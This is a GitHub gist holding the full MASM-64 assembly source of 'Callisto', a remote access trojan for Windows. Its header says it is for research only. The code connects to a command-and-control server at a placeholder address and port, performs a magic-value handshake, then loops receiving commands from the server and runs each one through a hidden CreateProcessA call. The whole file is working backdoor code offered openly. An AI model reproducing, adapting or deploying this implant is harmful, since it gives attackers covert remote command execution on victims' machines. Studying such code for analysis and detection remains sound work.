Skip to content

Instantly share code, notes, and snippets.

@joshfinley
Created November 23, 2020 23:01
Show Gist options
  • Save joshfinley/7783032eb1d369f97d068c5347fda626 to your computer and use it in GitHub Desktop.
Save joshfinley/7783032eb1d369f97d068c5347fda626 to your computer and use it in GitHub Desktop.
callisto.asm
; <callisto.asm> - Callisto source
; Copyright (c) 2020 by Josh Finley.
;
; This file demonstrates a MASM-64 remote acess trojan.
;
; The author assumes no responsibility for any damage caused by this
; program, incidental or otherwise. This program is intended for
; research purposes only.
;
; References:
; [1] https://github.com/dev-frog/C-Reverse-Shell
; [2] https://stackoverflow.com/questions/12939534/whats-a-win32-api-equivalent-of-the-stdlib-system-function
; [3] https://www.japheth.de/JWasm/Manual.html
option win64:3 ; init shadow space, reserve stack at PROC level
INCLUDE .\kernel32.inc
INCLUDE .\winsock.inc
INCLUDE .\callisto.inc
_DATA$00 SEGMENT PAGE 'DATA'
wDefaultPort WORD 1337
dwSocket DWORD 0
lpcstrCommandIP DB "127.0.0.1", 0
lpcstrComspec DB "COMSPEC", 0
lpcstrComspecPath DB MAX_PATH dup(0), 0
hConsole QWORD 0
; C2 Protocol Buffers
dwMagicHello DWORD MAGIC_HELLO, 0
dwCommandHello DD 1 dup(0)
dwCommandCodeBuffer BYTE 0
CommandBuffer DB 1024 dup(0)
dwCommandBufferSize DWORD SIZEOF CommandBuffer
dwWritten DWORD 0
; Winsock structures
wsa_data WSADATA <>
sock_addr SOCKADDR <>
sock_addr_in SOCKADDR_IN <>
addr_info ADDRINFO <0>
addr_info_res ADDRINFO <0>
_DATA$00 ENDS
_TEXT$00 SEGMENT ALIGN(10h) 'CODE'
Main PROC
; Initialize WinSock
mov cx, 514 ; MAKEWORD(2,2)
lea rdx, wsa_data ; Address of WSADATA struct
push rdx ; Load param2
push rcx ; Load param1
call WSAStartup ; Initialize Winsock
test rax, rax ; Check if succesful
jnz _winsock_failure ; Exit if not
; Create a socket
mov rcx, AF_INET
mov rdx, SOCK_STREAM
mov r8, IPPROTO_TCP
call socket ; __FASTCALL socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
cmp rax, -1 ; Check if socket == INVALID_SOCKET
je _winsock_failure ; Exit if so
mov dwSocket, eax
; Setup sockaddr_in
lea rcx, lpcstrCommandIP ; Load up the command and control IP address
call inet_addr ; Get its proper sin_addr order
mov ebx, -1 ; Ensure inet_addr was successful
test rax, rbx
je _winsock_failure
mov sock_addr_in.sin_addr, eax ; Set the inet address in the sockaddr
mov cx, wDefaultPort ; Load the default port to pass to htons
call htons ; Convert the port to the proper format
mov sock_addr_in.sin_family, AF_INET
mov sock_addr_in.sin_port, ax ; Set the sockaddr_in port
; Connect to target
mov ecx, dwSocket ; Move socket handle into param1
lea rdx, sock_addr_in ; Load SOCKADDR struct pointer into param2
mov r8, SIZEOF sock_addr_in
call connect
cmp eax, SOCKET_ERROR
je _winsock_failure
; Send implant hello
mov ecx, dwSocket
lea rdx, dwMagicHello
mov r8, SIZEOF dwMagicHello
xor r9, r9
call send
; Receive server hello and validate
mov ecx, dwSocket
lea rdx, dwCommandHello
mov r8, SIZEOF dwMagicHello
xor r9, r9
call recv ; Receive server hello
cmp rax, SOCKET_ERROR ; Ensure data was received
je _winsock_failure ; Exit if not
mov ebx, dwMagicHello
cmp ebx, dwCommandHello ; Check for the magic value in the receive buf
jne _winsock_failure ; If not present, something went wrong
; Successfully connected to C2. Await commands
xor rbx, rbx ; Clear our while condition
_command_loop:
xor rax, rax
lea rax, dwCommandCodeBuffer
mov [rax], BYTE PTR CMD_READY
invoke send, dwSocket, ADDR dwCommandCodeBuffer, SIZEOF BYTE, 0
invoke recv, dwSocket, ADDR CommandBuffer, dwCommandBufferSize, 0
cmp eax, INVALID_SOCKET
je _winsock_failure
test rax, rax
jz _wsa_exit
lea rbx, CommandBuffer ; Load address of command buffer
mov eax, dword ptr [rbx] ; Get command value from command buffer
cmp eax, CMD_END ; Check if C2 is sending end command
je _wsa_exit ; Exit as instructed
lea rcx, CommandBuffer
and rsp, not 8 ; Align the stack
call SystemExec
lea rcx, qword ptr CommandBuffer
mov rdx, 0
mov r8d, dwCommandBufferSize
call memset
jne _command_loop
_winsock_failure:
mov ecx, dwSocket
test ecx, ecx
jnz _wsa_exit
call closesocket
_wsa_exit:
call WSACleanup
call WSAGetLastError
jmp _prolog
_failure:
xor rax, rax
push rax ; Align the stack
call GetLastError
_prolog:
ret ;
Main ENDP
;-----------------------------------------------------------------------------
; Function Definitions
;-----------------------------------------------------------------------------
; fastcall BOOL SystemExec(LPCSTR lpCommandString);
SystemExec PROC
LOCAL sinfo: STARTUPINFOA
LOCAL pinfo: PROCESS_INFORMATION
LOCAL bStatus: DWORD
LOCAL lpCommandBuffer: QWORD
; Get the path of the command line interpreter
mov lpCommandBuffer, rcx
lea rcx, lpcstrComspec ; Load the target env var name
lea rdx, lpcstrComspecPath ; Load the path buffer for the env var
mov r8, MAX_PATH ; Buffer size is MAX_PATH + 1
call GetEnvironmentVariableA ; Set the buffer to the command interpreter path
test rax, rax ; Check that the function succeeded
jnz _system_exec_env_check ; Continue to next check
lea rcx, _system_exec_prolog ; Set return destination after failure
call function_failure
_system_exec_env_check:
cmp rax, MAX_PATH ; Ensure a valid amount of bytes were written
jl _system_exec_createp ;
call function_failure ;
_system_exec_createp:
mov sinfo.cbSize, SIZEOF STARTUPINFOA ; Set startupinfo flags
mov sinfo.dwFlags, STARTF_SWIND ; STARTF_USESHOWWINDOW
mov sinfo.wShowWindow, 1 ; SW_HIDE
and rsp, not 8 ; Align stack
invoke CreateProcessA, 0, lpCommandBuffer, 0, 0, 0, 0, 0, 0, ADDR sinfo, ADDR pinfo
mov bStatus, eax
_system_exec_prolog:
invoke CloseHandle, pinfo.hThread
invoke CloseHandle, pinfo.hProcess
xor rax, rax
mov eax, bStatus
ret
SystemExec ENDP
; fastcall _function_failure(qword pJmp);
function_failure:
xor rax, rax
push rax ; Align the stack
call GetLastError
jmp rcx
; fastcall int memset(PVOID dest, int val, dword nBytes);
memset PROC
xor rax, rax
_memset_loop:
cmp eax, r8d
jg _memset_prolog
mov [rcx + rax], edx
inc eax
jmp _memset_loop
_memset_prolog:
ret
memset ENDP
_TEXT$00 ENDS
END
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment